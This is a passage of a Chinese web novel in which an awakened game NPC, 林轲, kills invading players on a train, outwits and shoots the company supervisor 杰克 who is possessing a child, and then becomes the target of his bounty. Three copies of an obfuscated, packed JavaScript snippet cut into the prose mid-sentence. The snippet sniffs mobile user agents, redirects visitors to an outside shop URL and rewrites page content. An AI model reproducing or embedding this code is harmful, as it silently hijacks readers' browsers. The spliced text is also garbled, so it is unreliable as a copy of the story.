她注意到不管是追杀还是求救的女生,两个人胳膊上都戴着黄色丝带。其他被她杀的玩家也系着。这条丝带应该是区分玩家和NPC的标志。如果第一轮这么用,她肯定能猜出来,精准击杀。 但拥有全部记忆的玩家,就算智商再低,也不至于重复用这么明显的标识自掘坟墓。 为什么?林轲想不通。 “快点,往七号车厢跑,那里安全。”熟悉沉稳的男人声音打断她的思绪。 林轲顺着窄窄的通风口看去——范昶逆着人群前行,李争曦跟在他身边。 他们怎么在保护NPC?不是玩家吗? 他们前面是两个女玩家。御姐模样的人手里握着一把小巧的左轮手枪,萝莉身后背着一把银色长弓。 左轮手枪每次射击都会射出无数条黑色丝线,像利刃一样贯穿人的身体,又像蛇一样缩回枪里。 银色长弓没有箭,却能凭空拉出风刃——所到之处血肉横飞,尸块四溅。 四个人马上就要碰上了。 林轲蛰伏在车顶没动,隔岸观火。 “谁!”御姐对着范昶方向开了一枪。无数黑线如凶猛的毒蛇蹿出去,穿透他们中间四个逃命乘客的身体,扑向他们。 范昶见状推开李争曦,自己迎上去。 “叮叮叮——” 黑线撞上范昶的身体,像是撞上坚硬的铁门,一个个软下头去,“嗖”的一声缩回枪里。 被穿透的乘客已经倒地,只剩下细腻的血雾漂浮在他们中间。 御姐后退一步微微眯眼,“你们是玩家?” 李争曦从范昶身后探出头,义正言辞说,“住手!你们这些杀人狂,快点束手就擒,否则别怪我们不客气。” 林轲:……这中二的台词,上一次听还是在某个魔改武侠电视剧里。 “找死!”御姐说着从身后的腰包里掏出一枚手雷,拉开保险直接扔向他们。她身后的萝莉凭空跳起,对着两个人拉满弓弦射了出去。 手雷还在空中升高,范昶一跃而起,直接冲向手雷。 李争曦盯着小乔,眼睛发出血红色的光。 与此同时,小乔突然转身,满弓对准大乔。 “嗖——”风刃顷刻间把大乔斩得七零八落,鲜血喷溅。 “轰——”手雷被范昶握住,抛在空中爆炸。 爆炸的冲击力震碎车厢天花板,暴起的尘土瞬间钻入林轲鼻腔。她连忙捂上嘴,控制住咳嗽。 “大乔!”萝莉愤怒咆哮,“我杀了你们!” “嗖嗖嗖——” 风刃一片片地在林轲身后暴起,她身后的天花板传来“咔咔咔”掉落的声音,像是碎裂的冰面,破裂持续蔓延。 林轲不敢回头,鼓足劲向前爬。 不管是玩家还是看似友方的李争曦二人,她都不想暴露。 前面的通风口缝隙透出一点光,她记得那个位置下面是卫生间。她挪到通风口上方,用脚踹开盖子,纵身跳了下去。 脚刚落地,她才看见——里面有人。 对方蜷在角落,后背紧贴着墙壁。 四目相对的瞬间,那双眼睛里满是惊恐,她绝望地闭上眼睛,双手合十在胸口,嘴唇微微颤抖,像在等死。 “还有人!” “在卫生间里!” 门外传来叫喊声。 林轲没时间多想,一把将蜷缩的女人拉起来,推到墙边,自己贴在门侧,反手把锁着的门打开。 门被一脚踹开,一只刚脚踏进卫生间——就在这瞬间,他的头颅掉进便池。 林轲直接托住他的上身,让他保持站姿。她扔下唐刀,掏出捡来的手枪,躲在他身后。 “怎么样,干掉了——”后面的人端着枪跟进来,“吗”字卡在喉咙里。 他看见队友的脖子被削得又平又滑,血液呲呲往出冒,变成莹绿色的流动代码。 林轲从尸体身后探出枪口,抵在他额头上,扣下扳机。 “嘭——” 脑花在狭窄的空间里炸开,混着红白色浆液溅在绿色窗框上。 “干掉了。”林轲说。 解决完两个玩家,她转头看向角落里的女人。 女人瞪大眼睛看着她,嘴唇微张,整个人僵在原地。 “你……你杀人了。”她声音控制不住发颤。 “不然呢,等着被杀吗?” “我、我、我要去七号车厢,要、要一起去吗?”女人过于震惊和害怕,有点控制不住地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377287|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结巴。 “七号车厢?” “听、听说那里安全。对了,我叫孔慈宁,是一名医生。” 七号车厢,是林轲座位车厢。 刚刚李争曦和范昶让所有人往七号车厢跑,说那里安全。 真的安全吗? 林轲没有犹豫说,“一起去。” 孔慈宁走在前面。两个人穿过过道里横七竖八的尸体。 尸体大多还没凉透,空气里弥漫着铁锈般的血腥味。 孔慈宁走得不快,目光在尸体上扫过。林轲跟在她身后,竖着耳朵听周围的动静。 “她还有生命体征。”孔慈宁指着趴在座椅上的女人。 女人后背中枪,身下压着一个人——露出蓝色运动裤的纤细小腿,脚控制不住地抖,座位已经湿了一片,冒着白气。 女人紧紧扣住身下的人,身体已经僵硬,孔慈宁用力掰她的胳膊,掰不开。 林轲没有帮她,而是站在旁边警戒。 林轲警惕观察两端车厢,催促道:“快走,有人过来了。” “再等等。”孔慈宁掰着女人胳膊的手青筋暴起,脸憋得通红。 林轲实在看不下去,举起唐刀,准备把尸体的手臂削下来。 “妈妈……你放开我吧,她们应该是好人。”被女人死死扣在怀里的女孩,声音异常平静。 林轲隐身的藏刀已经半举在空中,听见这句话动作停顿。 女人僵硬的手臂松开了,孔慈宁拉起浑身是血的女孩。 “你哪里受伤了?”孔慈宁上下看她。 “别说这么多了,快走!”林轲再次催促她们。 孔慈宁拉着女孩满是鲜血的手,指缝间全是黏腻的凉意——那是她妈妈的血。 她们没有再遇到其他玩家,顺利来到已经锁上两层门的七号车厢。 这一幕,林轲似曾相识。经历过一遍的感觉越来越强烈。 她跟着孔慈宁往前走,进入戒备森严的七号车厢。 过道里挤满了人,他们神色惶恐,惊魂未定。尤其是看到穿警服的林轲,有几个人紧紧握住了拳头,愤怒又恐惧。 林轲没有理这些人的目光,继续跟着孔慈宁往前走。 她路过自己曾经的床铺——现在7号中铺坐着一排小孩。孩子们旁边挤着握着他们的手,试图安慰他们的成年人。 只有林轲上铺的那个女童没人握住她的手。 林轲路过时,女童正好看向她。 很奇怪,之前林轲看到女童的那种愧疚和悲痛感荡然无存,相反——她本能地感觉到危险和厌恶。 突然间,女童爆哭起来,“妈妈!妈妈!我要妈妈!” 她旁边的女人抬手扇了女童一巴掌,“哭哭哭!就知道哭!你个扫把星硬是把老子们方惨了!遇到你这个娃儿算是倒了八辈子血霉!” “我让你找妈妈!我让你找妈妈!”站在一旁的男人激动地翻开蓝色塑料袋,里面的注射器和白色药瓶在他颤抖的手中掉出来。 “你在干什么!”孔慈宁拉住男人的手臂质问。 她目光扫到白色药瓶上“右美托咪定”几个字厉声质问,“你们居然给孩子注射镇静剂!” “你们是人贩子吧!”旁边的人纷纷围了过来。 “我们才不是人贩子呢!”男人扯着脖子大喊,“娃儿有病,我没才随身带着——” “轰——” 震耳的爆炸声响突然响起,车厢随之剧烈震颤。 “门被炸破了!快跑!”一声惊呼,车厢里的人纷纷逃窜。 围上来的人连忙抱起自己家的孩子,往另一侧车门跑。慌乱中,这对男女挤在人群中跑了。 “我抱你走。”孔慈宁抱起坐在中铺的女童。 “不不不、我不和你走!我要和警察走。”女童挣扎着推开孔慈宁,看向林轲伸出手臂,“叔叔,带我去找妈妈好不好?” 26. 无限猎杀 林轲有种直觉,女童是看到她后故意大哭引起她的注意。 林轲:“我要去抓坏人,没有办法带你去找妈妈,让这个阿姨带你去吧。” “不,不要!除了你,我不相信任何人。”女童坚持。 “好,我带你走。”林轲抬手的同时,抽出被她隐身绑在腿上的匕首,抵在女童的后背。 女童冰凉细软的手臂像是一条蛇,缠在林轲脖颈,激起林轲阵阵冷颤。 “叔叔,你还没问我叫什么名字呢?”女童的声音稚嫩,却平得像一面没有波纹的水——没有撒娇,没有期待,甚至没有一个孩子说话时该有的情绪起伏。每一个字都咬得清楚,像在念一段背熟了的台词。 “你叫——”林轲话音还没落,整个人向前摔去。她借着惯性,松开了手,甚至用力把女童往前推了一把。 几乎同时,她右手抽出唐刀,反手朝地面插去,稳住了身体,抬眼去看女童。 女童站在五米外的地方。不是摔倒后爬起来的——是站在那儿,脚底像钉在地上一样稳。 她头微微歪着,幽深黑漆漆的眼睛注视着她,嘴角挂着一丝笑意。明明是一张孩子的脸,但那笑意像极了当权者对蝼蚁的打量。 “你怎么知道我不是真正的糖糖。”她问得很平静。 “我没办法用偷袭的方式杀掉幼童,就算知道她是玩家也没办法。”林轲说着瞬间弹起,隐身的唐刀劈向他。 与此同时,一柄金色的三叉戟刺向林轲的眼睛。她侧身躲避,三叉戟还是擦着鼻尖划过,割开一道血口。但她攻击的速度并没有减缓,依旧逼向他。 “杀我你会后悔的。”他纹丝不动,不慌不忙地打了个响指。 刹那间,第一轮游戏的记忆像潮水般涌来,瞬间灌满林轲的脑海。 刀尖即将劈上他的瞬间,林轲手腕一转,收了刀。 就在这个间隙,又一柄三叉戟刺来,直刺她的心口。 林轲顿感口中腥甜,捂着胸口后退几步,半跪在地上。 “下不了手?”他露出一丝得意的微笑,一步步走近半跪在地,用刀撑着身体的林轲。 “你不忍心杀了糖糖。毕竟,是你害死了她。” 一丝血迹从林轲嘴角渗出,林轲血红色的眼睛死死瞪着他。 “你怎么能用这种眼神看一个幼童?你会吓到孩子的,尤其是像糖糖这么乖巧的孩子。你让她别出声,她真的不哭不喊,就算我捅她三刀,她都没有喊。” “哈哈哈……” “哈哈哈……” 他突然间大笑,连着肩膀都在抖。 “你很愤怒对不对?很想杀了我对不对?”他张开手臂,“来吧,杀了我。杀完我,你又可以升级了。” 林轲握着刀柄的手控制不住发抖,一滴冰凉的泪从眼角溢出,滑过满是灰尘的脸。 杰克缓缓放下手臂,得意地说,“你知道为什么你在天花板上杀了好几个玩家,都没有人上去杀你吗?” 那双原本属于幼童天真无邪的眼睛,此刻发着诡异阴森的光。 “这一切都是我安排的,包括派范昶去保护NPC。那时候杀你有什么意思?若是你那时候死了,我就看不到现在这么精彩的表情了。这对我来说,”他舔了下唇,“才是最美味的甜点。” 他在林轲面前站定,微微歪着头,近距离观察她的细微表情,“我要让你知道,不管你重来多少次,你都——救不了她。” 林轲跪在地上,握刀的手不再抖了。 不是不抖了——是攥得太紧,肌肉绷到了极限,连颤抖的余地都没有了。指节泛白,骨节凸起,像要从皮肤下面撑出来。 “很绝望是不是?愤怒又无能为力的感觉。” “看那些菌丝人打打杀杀有什么意思。”他清澈的眼睛满是戏谑,“杀人诛心,才有意思。” “我给你两个选择,自杀,或者杀了糖糖。”他把手枪放到林轲膝盖前,“你自己选。” 林轲微微颤抖的手握上那柄枪,声音沙哑,像塞进了粗砂:“可是我不管选择自杀,还是杀了你,这对你来说只是一场游戏。” “当然。”他双手背在身后,绕着林轲缓步行走,把她身体的每一下颤抖,吞咽的喉咙,抓紧地面蜷曲的手指全看在眼里。 他再次感叹公司技术的伟大——能让一个NPC模型有如此细微的变化。 “选吧。”他轻轻点了一下林轲眼前的空气,一面全息光幕浮现在她面前。 457/1987。 457是血红色的字体,1987是白的。 “这是这列车NPC的数据,457是已经收割的数量,1987是总数。如果你自杀,我会终止这场猎杀,糖糖也可以活下来。你越是犹豫,死的NPC就越多。” 林轲紧紧咬着下唇,就算这样,她的牙齿依旧控制不住打颤,像是赤身裸体被扔进千年冰窖内。 看她犹豫,他继续说,“你既然觉醒了能力,肯定看得到自己的属性面板。你是什么NPC,应该是平民吧?像你这样的NPC就算活下来,一辈子也是平平庸庸,碌碌无为。你只不过是NPC数据库里一个行项目而已。你的经历,不过是我们模型的算法,它们早就已经定义好了。你以为是自己的选择,其实都是注定的。我们对你而言,是造物主,是神的存在。” “现在,我正给你一个舍身取义,成为伟大神明的机会。用你一个条NPC数据的消亡,换一千多NPC的存在,很有意义。” 都是设计好的? 林轲想起幼时极力反抗,被扎入身体的注射器;想起孤儿院清冷又拥挤的宿舍;想起养父阴森的笑意。她从小到大,用尽力气拼命想好好活着,想找到梦里的粉色糖纸。就算她冷漠,也会伤心,会疼,会恐惧,会害怕——可这一切,都是设计好的? 他否定了她作为人的存在,否定了她这么多年坚持,否定了她即使陷入困境也从未放弃反抗的决心。 他要摧毁她的信念,让她相信再怎么抵抗,作为NPC都逃离不了被操控的命运。 林轲眼前的红色数字不断跳动,有时候一次增加十多位。 “别再犹豫了,你每犹豫一秒,就会多一个NPC死亡。” “我还不知道你的名字。”林轲把枪举起来,对准自己太阳穴,颤抖的手指微微勾起,要扣下扳机。 “有必要吗?你只是个NPC而已。” “死前的心愿,我想知道你的真实名字。你应该是游戏公司的员工吧?你和那些玩家不一样。” “告诉你也无所谓。我叫杰克,是蓝菌公司游戏开发部检测中心的主管。” 他背着手,说出这段话时,正好走在林轲握枪手的那侧。 “知道了。” 林轲无助的眸色瞬间变得凌厉,手腕一转,枪口从顶着自己的太阳穴转向杰克的额头,毫不犹豫扣下扳机。 “砰——” 子弹穿透眉心。 杰克不可思议地睁大眼睛。他暗下去的瞳孔里,映出林轲红透的眼眶。 “对不起,糖糖。”林轲嗓音沙哑。 她握上糖糖肉乎乎的小手。这只手曾经和她拉过钩,让她带她去找妈妈。 林轲以为让Mboss开启第二轮游戏,能救下糖糖。她坚信能带她去找妈妈。可是她没想到,Mboss这次会降临到糖糖的身上。 糖糖的手很快化成莹绿色的代码,从她指缝间消散。 林轲的手悬在半空,五指微微张开,像还想去握什么,却什么也握不住了。指尖蜷了蜷,慢慢收拢,攥成一个拳头,攥得太紧,指甲嵌进掌心,渗出血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382322|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。她垂下那只手,垂在身侧,没有再抬起来。 她微微仰起头,下巴绷紧,喉结滚动了一下。眼眶是红的,但没有泪再落下来。 她就不该有一丝的恻隐之心。 她在盗窃团伙的时候,有个男孩因为偷不到钱经常挨打。林轲不忍心看他挨打,会多偷些钱给他。 结果,他们发现林轲一个人也能偷两个人的钱,直接把那个小男孩打残,让他去乞讨。 那个男孩直到被解救时,看林轲的眼神都充满强烈的恨意,仿佛是林轲打残了他。 从那之后,林轲不再帮任何人。 一切证明,林轲的选择是对的。 这一次……她害死了糖糖。 【恭喜NPC737号杀死Mboss玩家两次,标记已解除,NPC奖励已掉落】 “哗啦——”金币掉落的音效熟悉响起。 林轲眼前浮现出银色的光幕。 面板上的字不停地闪烁,但她脑里一片空白,一个字都不认识了。 她迟钝,麻木地坐在原地,眼神呆滞空洞看向前方。 她一直坐在原地,直到车内响起广播: 各位乘客大家好,我是本次列车的列车长崔婉歌。我代表全体乘务组,向所有经历这场灾难的乘客致以最深切的歉意。此刻,我们与您一样悲痛,但请相信,我们已经控制住局面,恐怖分子已被制服,列车正在全速驶向最近的救援站点。我们已经与警方联系,警方很快会抵达。 当前,我们需要所有人团结协作,共渡难关。 1、请保持冷静,避免拥挤: 2、希望身体状况允许的乘客协助搜救伤员,确认身边人的意识状态。 3、请医护人员或拥有急救能力的人员联系我们。 此刻的每一分克制与互助,都在为生命争取时间。 感谢大家的理解和配合。 ——列车长及全体乘务组 坚定、冷静又克制着悲伤的女声在整列火车上回荡。听到这样的声音,林轲感觉心田里灌入一丝暖风,虽不足以化冰,却让人平静下来,恢复思考。 她站起身,走了两节车厢,找到一个相对干净,没有尸体的卫生间进去。 她再次变成秦若离的模样,用洗手池里的水洗脸,从背包里翻出一套干净的衣服换上,顺着卫生间破败的窗户,把满是灰尘的衣服扔进无人区的旷野。 翻衣服时,秦若离那部早已关机的手机掉了出来。林轲拿起来迟疑片刻,也扔了出去。 这部手机有密码,她解不开,留在身边只会增加暴露的风险。 列车经过山洞,车厢里瞬间暗下来,阴湿的冷气从破漏的窗户灌进来。 山洞很长,很长。阴湿的冷气像是无数细针扎进林轲每一寸皮肤,刺进她已经麻木的心。 她不知道山洞要走多久,什么时候才会结束。 亦或许—— 永远都不会结束。 她双臂抱在身前,正要推门出去时,一道红光射了进来。 是日出。 太阳的红光穿透天际的阴云,折射出道道霞光,染红天边的云,将金色铺满无人区苍茫的大地。 林轲被这一幕震撼,怔了许久。 就算是一行数据又如何! 谁能证明自己不是缸中之脑? 她觉得自己真实,就足够了。 晨光虽然没有温度,但照在林轲脸上,却让她感到温暖。 玩家已经降临,整个世界都将陷入混乱的杀戮中。 为一人的死而悲切,不如想想,怎么样能阻止玩家降临。 林轲不仅要阻止玩家降临,她还要去玩家的世界。 她要杀了杰克,她要让他体验“绝望、愤怒又无能为力”,因为这也是她的乐趣所在。 27. 无限猎杀 【标记失败】 【Mboss权限被剥夺】 几个红色的大字不断在杰克眼前闪烁。杰克坐在工位缓了几秒,才彻底想明白NPC的诡计。她的示弱,她的颤抖,她的无助都是假的,都是她用来麻痹他的武器。 她把他当成一个傻子耍。 他一个游戏开发资深技术人员,NPC的创造者——居然被NPC耍了。 这简直是奇耻大辱,比让他变回菌丝人还令他无法接受。 “看我不弄死你!” 杰克摘下自己的全息眼镜,抬起手环想要打开游戏管理界面,一则重要通知跳出来。 【紧急提醒:雅典娜在17分钟前联系过你!!!】 雅典娜! 看到这三个字,他的心猛然收紧,漏跳了一拍。 雅典娜怎么会联系他这个五级主管! 杰克刚刚的怒气瞬间消散,突然变得惶恐不安。 雅典娜为什么联系自己,是因为测试账号权限变化吗?不会啊,17分钟前账号权限还没有发生变化。 究竟是什么会让雅典娜亲自联系自己? 这都不是最关键的,没有第一时间接雅典娜的电话才是最致命。 杰克瞬间感到口干舌燥,心跳加速,不止手抖,全身都在打颤。他点了下悬浮页面,深呼吸后,又拨弄了下额前的留海,才郑重其事摁下回拨键。 “嘟——” “嘟——” 复古提示音每一下都在扯紧他的心弦。 他突然后悔了——怎么能直接回拨?万一雅典娜没有时间呢? 应该先发信息问一下。 但是现在呼叫已经在进行中。万一他挂断的瞬间雅典娜正好接通怎么办? 还不能挂。 他的心弦被反复扯拉四十多秒后,雅典娜终于接了他的电话。对他而言,这四十多秒像四个世纪那么长。 雅典娜冰冷的黑眸没有任何感情地注视着他。她的成像只闪了一秒就关了,甚至没给他看清背景的机会。 杰克挤出自己最真诚的笑意,“雅典娜,实在不好意思,刚刚我在卫生间,肚子有些不舒服——” “我不想听废话。”成像关掉后,雅典娜的声音显得更加厌倦。 “对不起,您找我是有什么事要交代吗?”杰克蓝色的眸子显得异常柔和。 “NPC数据监测怎么样,有什么异常吗?” “没有。全局检测报告再有一个多小时就会生成。目前来看,一切正常。” “我刚刚收到测试账号权限的变动通知,怎么回事?” “我刚想和您报告。我手下有两个人并没有按照公司流程使用测试账号登录游戏。您放心,我调查完肯定会处理他们的。” “不用,交给纪律委。” “纪律委……”杰克听到这三个字蓝色的眸子惊恐瞪大。这三个字是整个蓝菌公司员工最害怕听到的,因为交给他们处理的员工再也没有出现在公司。 杰克不敢求情,只能僵笑着点头说声好。 挂掉雅典娜的电话,他感觉自己腿间热乎乎的,低头才意识到自己失禁了。他没有马上起来去换衣服,而是打开NPC检测平台,去看运转情况,发现所有数据指标都是绿色的,和自己说的情况一致才长舒一口气。 太好了,没问题。 杰克站起来,走向卫生间,把两个下属名字发给纪律委。他没想到不按公司流程使用测试账号,后果这么严重,也没想到自己会被NPC彻底反杀。不过还好,后果不用他承担,只能怪这两个下属倒霉。 纪律委不会调查原因,只会执行处罚,所以他不担心被他们举报。 杰克换完干净裤子回来,通过后台查看列车上反杀自己NPC数据,发现NPC的属性里面智力状态待确认,这明显是bug。 他以为这是数据库没有刷出来,追溯数据库,发现数据库里她的智力状态也是待确认。 这是怎么回事?智力属性是NPC基本属性,是数据库必须赋值字段,不可能不赋值。 游戏怎么会有这个bug? 除非……这个NPC不来自数据库? 杰克一时慌了神,双手齐上,开始敲键盘。他一层又一层拨开诡异的循环代码迷雾,终于找到了这个NPC来自哪里—— 最底层的源代码。 源代码是层层加密的。 据他所知,公司只有一个账号有修改和查看权限,而且要在特定的位置才能接入。 这个NPC为什么要写入源代码?从技术的角度是极不合理的。 源代码是蓝菌公司曾经的继承人巴德尔亲自搭建的,他的智商至今还在冠盖卓睿排行榜里排名第二。 冠盖卓睿排行榜上的都是高智商的绝世天才,是所有冠盖者崇仰膜拜的对象。 这样的人怎么会犯这种低级错误?不应该啊,就算是自己也不会犯。而且他刚刚追溯的时候,开发者明显设计了很多干扰的代码迷惑他,不想让他查出来。 这个NPC算不算检测异常?要不要汇报给雅典娜? 可是他刚刚明明和她说没问题,现在汇报有问题岂不是自己工作失误?如果雅典娜问起来为什么注意到这个NPC要怎么解释?说自己真的玩了游戏? 思来想去,杰克决定不把这个NPC异常汇报给雅典娜。 虽然他兢兢业业在公司工作了十五年,但只要走错一步,公司就会立刻抛弃他。 他即将35岁,这对于中层技术员的他来说是一道坎。只要稍有差错,他就会被扔回到菌丝人中。他好不容易成为冠盖者,绝不会再当下贱的菌丝人。 他转念想,如果智力等级这么明显的bug没发现,万一被其他人查出来汇报给雅典娜,自己会死得更惨。 想到这里,杰克直接把NPC智力在数据库里改成C级,只要没有人像他这样单独追踪这条NPC数据,就不会查到这个bug。 确认全部改完后,杰克瘫软在座椅上。 本以为可以摸鱼玩游戏的一天,没想到经历了这么多险象环生的事。 不过还好,都解决了。 就算这条NPC特殊,但杰克没忘她愚弄了自己。 他进入游戏论坛,目前最热的帖子是交流区标题为【K3323列车玩家全员被反杀,惊现NPC大神!!!】 杰克看到这个标题眉头拧紧,本想跳过,但又控制不住点开。 帖子是游戏ID为四目蜘蛛发的。 主楼:虽然我不是这次标记的Mboss,但是我绝对有发言权,因为这次反杀所有玩家的NPC大佬就是把我账号Mboss权限干没的NPC(T▽T),知道她这么强,我当初为什么要标记她! 所以,我好心安慰大家一句,干不过NPC不丢人,一玩到底把自己Mboss权限搞没的才是真蠢!大家一定要珍惜Mboss的权限资格。 K3233列车召集的普通玩家很多,不是所有玩家都直接降临在车上,很多玩家,比如我,就是开车后才上的车。我所在的游戏世界国家对枪支管控很严,我们携带的枪支都能在车站的安检里被检测出来。所以说,在这里我也提醒玩H国标记点的玩家,等你不需要过安检以后再去商城兑换武器。 1楼:大家都散了吧,说了一堆全是废话 2楼:我觉得值得借鉴,我这次副本选的是A国,没有枪支管控,NPC随身带枪,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386631|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点没被反杀】 3楼:那这么说,是不是选择H国的标记点更轻松些?毕竟那里的NPC手里没有攻击性的武器】 4楼:没有攻击性武器整车的玩家是怎么被灭的!而且游戏规则里写了,NPC杀了玩家,玩家武器会随着尸体一起消失,不会留给NPC 楼主:你们说的没错,大佬第一次杀我的时候,的确没有趁手的武器,但是架不住她真的喜欢玩战术,我被她骗得好苦┭┮﹏┭┮ 4楼回复楼主:细讲讲战术! 楼主回复4楼:这我是不会讲的,因为我已经发誓要追随大佬,我不能做叛徒,我还得去投诚呢! 5楼:第一次见主动要做NPC狗的!好贱~ 6楼:我是这列车的玩家之一,我发声证明,这个NPC特别会骗人。她不知道怎么就发现我是玩家,骗我说卫生间水龙头坏了,让我去检查,结果我被她从后面劈了! 7楼:我也是,我也是,我和楼上的一组,他不仅骗我,还从我这里套情报,想要问出Mboss的位置! 很快,好几个玩家出来证明,他们都是被NPC骗杀,其实没有和NPC真正过招。 楼主:我有预感,她绝对是NPC中的王者,会成为赏金榜上蝉联第一的NPC! 147楼:楼主你绝对有斯德哥尔摩综合征,快去看病吧,有病就别玩游戏了~ 159楼:这个NPC这么厉害,叫什么名字啊,好想杀啊啊啊! 楼主回复159楼::是被杀!虽然我知道她叫什么名字,但我是不会透露给你们的!哼哼哼~ 杰克快速把帖子浏览一圈,贴子里大多数玩家都在猜NPC的身份。他控制住直接回复的冲动,退出帖子,在悬赏区搜“林轲”这两个,果然搜到了。她目前赏金十万,排名已经在百名开外。 第一名的赏金是300万猎币。 杰克直接登录自己私人账号,把账号里五千万猎币全部下注给林轲。 林轲一跃重新回到猎杀榜首。 他加了一条说明: 此NPC已经觉醒伪装能力,可以切换不同人外貌。性格狡猾,善于欺诈,精于伪装。武器唐刀,使用熟练,可以隐身。 猎杀建议:直接击杀。 杰克不能写的太详细。游戏论坛内容被游戏的AI监管,一旦发现玩家透露信息异常,会进行追查。 论坛里又多了好几个帖子,都是讨论突然间跃到悬赏榜首的“林轲”。 好几个人已经猜测杀穿全列车玩家的NPC是林轲,追加赏金的人是列车的Mboss。 在众多讨论“林轲”的帖子里,有一条帖子引起杰克注意。 【大家有没有发现,游戏世界里的人都有家人,但我们没有……】 杰克微皱了下眉,进入这条帖子。 1楼:这不更说明游戏世界里的NPC都是野人,还在用生殖繁育的这种落后好几百年的手段。 楼主回复1楼:可是这让他们有了家人,有了连接,不是吗? 2楼:有了连接有什么好?我想不明白。我们有神就好了,感谢菌神赐予我们信念与力量。 3楼:感谢菌神赐予我们信念与力量。 4楼:感谢菌神赐予我们信念与力量。 …… 下面的留言像是中了病毒,不断重复。 杰克还没等退出这个帖子,帖子已经消失了。 他想消失的不仅仅是这条帖子,可能还有发帖子的人。 他点开林轲作为秦若离的行踪,找出下一个标记点后,拨打电话。 对方几乎是在瞬间接通电话。 杰克:“杀了那个NPC,把赏金挣回来。”